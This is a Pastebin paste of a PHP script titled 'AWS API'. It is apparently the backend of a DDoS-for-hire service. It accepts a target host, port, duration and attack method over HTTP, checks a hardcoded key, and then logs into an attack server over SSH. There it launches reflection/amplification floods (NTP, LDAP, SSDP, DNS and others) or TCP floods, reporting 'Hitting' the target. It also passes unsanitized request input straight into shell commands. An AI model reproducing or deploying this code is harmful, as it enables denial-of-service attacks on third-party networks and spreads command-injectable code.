Merlyz

AWS API

Oct 12th, 2020 (edited)
162
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 7.67 KB | None | 0 0
  1. <?php
  2. ignore_user_abort(true);
  3. set_time_limit(2);
  4.  
  5. $server_ip = "IP";
  6. $server_pass = "PASS";
  7. $server_user = "USER";
  8.  
  9. $key = $_GET['key'];
  10. $host = $_GET['host'];
  11. $port = intval($_GET['port']);
  12. $time = intval($_GET['time']);
  13. $method = $_GET['method'];
  14. $action = $_GET['action'];
  15. $time2 = $time;
  16. $limiter = '200000';
  17. $threads = '2';
  18.  
  19. //arrays
  20. $array = array("stop","STOP","STOPALL","LDAP","SSDP","NTP","PORTMAP","CHARGEN","NETBIOS","SNMP","TS3","TFTP","RIP","SENTINEL","MSSQL","MDNS","DNS","DB2","HEARTBEAT","QUAKE","DRDOS","CSYN","DOMINATE","ESSYN","FRAG","ISSYN","SSYN","RST","TCP","TCP-ACK","TCP-FIN","TCP-XMAS","TCP-RST","TCP-PSH","TCP-SE","TELNET","VSE","WIZARD","XACK","XDCMP","XMAS","XSYN","ZAP","ZSYN","GREENSYN","SYNACK","SYNACKB","PROWIN","SYN9","WINSEQID","WINSYN","YUBINA",'SYNACKB');
  21. $ray = array("oommnjkjdhfjhfjdsaf");
  22.  
  23.  
  24. if (!empty($key)){
  25. }else{
  26. die('Error: API key is empty!');}
  27.  
  28.  
  29. if (in_array($key, $ray)){
  30. }else{
  31. die('Error: Incorrect API key!');}
  32.  
  33.  
  34. if (!empty($time)){
  35. }else{
  36. die('Error: time is empty!');}
  37.  
  38.  
  39. if (!empty($host)){
  40. }else{
  41. die('Error: Host is empty!');}
  42.  
  43. if (!empty($method)){
  44. }else{
  45. die('Error: Method is empty!');}
  46.  
  47.  
  48. if (in_array($method, $array)){
  49. }else{
  50. die('Error: The method you requested does not exist!');}
  51.  
  52. if ($port > 66605){
  53. die('Error: Ports over 66605 do not exist');}
  54.        
  55. if ($time > 3600){                                       //if you with to change the time literally just change
  56. die('Error: Cannot exceed 3600 seconds!');}              // time > 3600 to desired time, and change the "exceed 3600 seconds" to the desired time
  57.  
  58. //scanned methods
  59. if ($method == "LDAP") { $command = "./ldap $host $port ldap.txt $threads $limiter $time"; }  //ldap method
  60. if ($method == "SSDP") { $command = "./ssdp $host $port ssdp.txt $threads $limiter $time"; } //ssdp method
  61. if ($method == "NTP") { $command = "./ntp $host $port ntp.txt $threads $limiter $time"; }   //NTP method
  62. if ($method == "PORTMAP") { $command = "./portmap $host $port portmap.txt $threads $limiter $time"; } //portmap method
  63. if ($method == "CHARGEN") { $command = "./chargen $host $port chargen.txt $threads $limiter $time"; } //chargen method
  64. if ($method == "NETBIOS") { $command = "./ldap $host $port netbios.txt $threads $limiter $time"; }  //netbios method
  65. if ($method == "SNMP") { $command = "./ssdp $host $port snmp.txt $threads $limiter $time"; } //snmp method
  66. if ($method == "TS3") { $command = "./ntp $host $port ts3.txt $threads $limiter $time"; }   //ts3 method
  67. if ($method == "TFTP") { $command = "./portmap $host $port tftp.txt $threads $limiter $time"; } //tftp method
  68. if ($method == "RIP") { $command = "./chargen $host $port rip.txt $threads $limiter $time"; } //rip method
  69. if ($method == "SENTINEL") { $command = "./ssdp $host $port sentinel.txt $threads $limiter $time"; } //sentinel method
  70. if ($method == "MSSQL") { $command = "./ntp $host $port mssql.txt $threads $limiter $time"; }   //mssql method
  71. if ($method == "MDNS") { $command = "./portmap $host $port mdns.txt $threads $limiter $time"; } //mdns method
  72. if ($method == "DNS") { $command = "./ntp $host $port dns.txt $threads $limiter $time"; }   //dns method
  73. if ($method == "DB2") { $command = "./portmap $host $port db2.txt $threads $limiter $time"; } //db2 method
  74. if ($method == "HEARTBEAT") { $command = "./chargen $host $port heartbeat.txt $threads $limiter $time"; } //heartbeat method
  75. if ($method == "QUAKE") { $command = "./quake $host $port quake.txt $threads $limiter $time"; } //quake method
  76. if ($method == "DRDOS") { $command = "./drdos $host $port drdos.txt $threads $time"; } //drdos
  77.  
  78. //non scanned methods
  79. if ($method == "CSYN") { $command = "./csyn $host $port $threads $limiter $time"; } //csyn method
  80. if ($method == "DOMINATE") { $command = "./dominate $host $port $threads $limiter $time"; } //dominate method
  81. if ($method == "ESSYN") { $command = "./essyn.c $host $port $threads $limiter $time"; } //essyn method
  82. if ($method == "FRAG") { $command = "./frag $host $port $threads $limiter $time"; } //frag method
  83. if ($method == "ISSYN") { $command = "./issyn.c $host $threads $limiter $time"; } //issyn method
  84. if ($method == "SSYN") { $command = "./ssyn $host $port $threads $limiter $time"; } //ssyn method
  85. if ($method == "RST") { $command = "./rst $host $threads $limiter $time"; } //rst method
  86. if ($method == "TCP") { $command = "./tcp $host $port $threads $limiter $time"; } //tcp method
  87. if ($method == "TCP-ACK") { $command = "./tcp-ack $host $threads $limiter $time"; } //tcp-ack method
  88. if ($method == "TCP-FIN") { $command = "./tcp-fin $host $threads $limiter $time"; } //tcp-fin method
  89. if ($method == "TCP-XMAS") { $command = "./tcp-xmas $host $threads $limiter $time"; } //tcp-xmas method
  90. if ($method == "TCP-RST") { $command = "./tcp-rst $host $threads $limiter $time"; } //tcp-rst method
  91. if ($method == "TCP-PSH") { $command = "./tcp-psh $host $threads $limiter $time"; } //tcp-rst method
  92. if ($method == "TCP-SE") { $command = "./tcp-se $host $port $threads $limiter $time"; } //tcp-se method
  93. if ($method == "TELNET") { $command = "./telnet.c $host $threads $limiter $time"; } //telnet method
  94. if ($method == "VSE") { $command = "./vse $host $threads $limiter $time"; } //vse method
  95. if ($method == "WIZARD") { $command = "./tcp-ack $host $port $threads $limiter $time"; } //wizard method
  96. if ($method == "XACK") { $command = "./xack $host $threads $limiter $time"; } //xack method
  97. if ($method == "XDCMP") { $command = "./telnet.c $host $port other.txt $threads $limiter $time"; } //xdcmp method
  98. if ($method == "XMAS") { $command = "./xmas $host $threads $limiter $time"; } //xmas method
  99. if ($method == "XSYN") { $command = "./xsyn $host $port $threads $limiter $time"; } //xsyn method
  100. if ($method == "ZAP") { $command = "./zap $host $port $threads $limiter $time"; } //zap method
  101. if ($method == "ZSYN") { $command = "./zsyn $host $port $threads $limiter $time"; } //zap method
  102.  
  103. //special tcpmethods
  104. if ($method == "GREENSYN") { $command .= "screen -dm timeout $time sh greensyn.sh $host $port "; }
  105. if ($method == "SYNACK") { $command .= "screen -dm timeout $time sh synack.sh $host $port "; }
  106. if ($method == "SYN9") { $command .= "screen -dm timeout $time sh syn9.sh $host $port "; }
  107. if ($method == "SYNACKB") { $command .= "screen -dm timeout $time sh synackb.sh $host $port "; }
  108. if ($method == "PROWIN") { $command .= "./prowin $host "; }
  109. if ($method == "WINSEQID") { $command .= "./winseqid.c $host "; }
  110. if ($method == "WINSYN") { $command .= "./winsyn.c $host "; }
  111. if ($method == "YUBINA") { $command .= "./yubina.c $host "; }
  112.  
  113. if ($method == "STOP") { $command = "pkill $host -f"; }
  114. if ($method == "stop") { $command = "pkill $host -f"; }
  115. if ($method == "STOPALL") { $command = "pkill all"; }
  116. if ($method == "EMERGENCY1") { $command = "service ssh restart | service iptables stop"; }
  117.  
  118.  
  119. if (!function_exists("ssh2_connect")) die("Error: SSH2 does not exist on you're server");
  120. if(!($con = ssh2_connect($server_ip, 22))){
  121.   echo "Error: Connection Issue";
  122. } else {
  123.  
  124.  
  125.     if(!ssh2_auth_password($con, $server_user, $server_pass)) {
  126.         echo "Error: Login failed, one or more of you're server credentials are incorrect.";
  127.     } else {
  128.        
  129.  
  130.         if (!($stream = ssh2_exec($con, $command ))) {
  131.             echo "Error: You're server was not able to execute you're methods file and or its dependencies";
  132.         } else {
  133.  
  134.             stream_set_blocking($stream, false);
  135.             $data = "";
  136.             while ($buf = fread($stream,4096)) {
  137.                 $data .= $buf;
  138.             }
  139.                         echo "Sinix bot :</br>Hitting: $host</br>On Port: $port </br>Attack Length: $time</br>With: $method " ;
  140.             fclose($stream);
  141.         }
  142.     }
  143. }
  144. ?>
Add Comment
Please, Sign In to add comment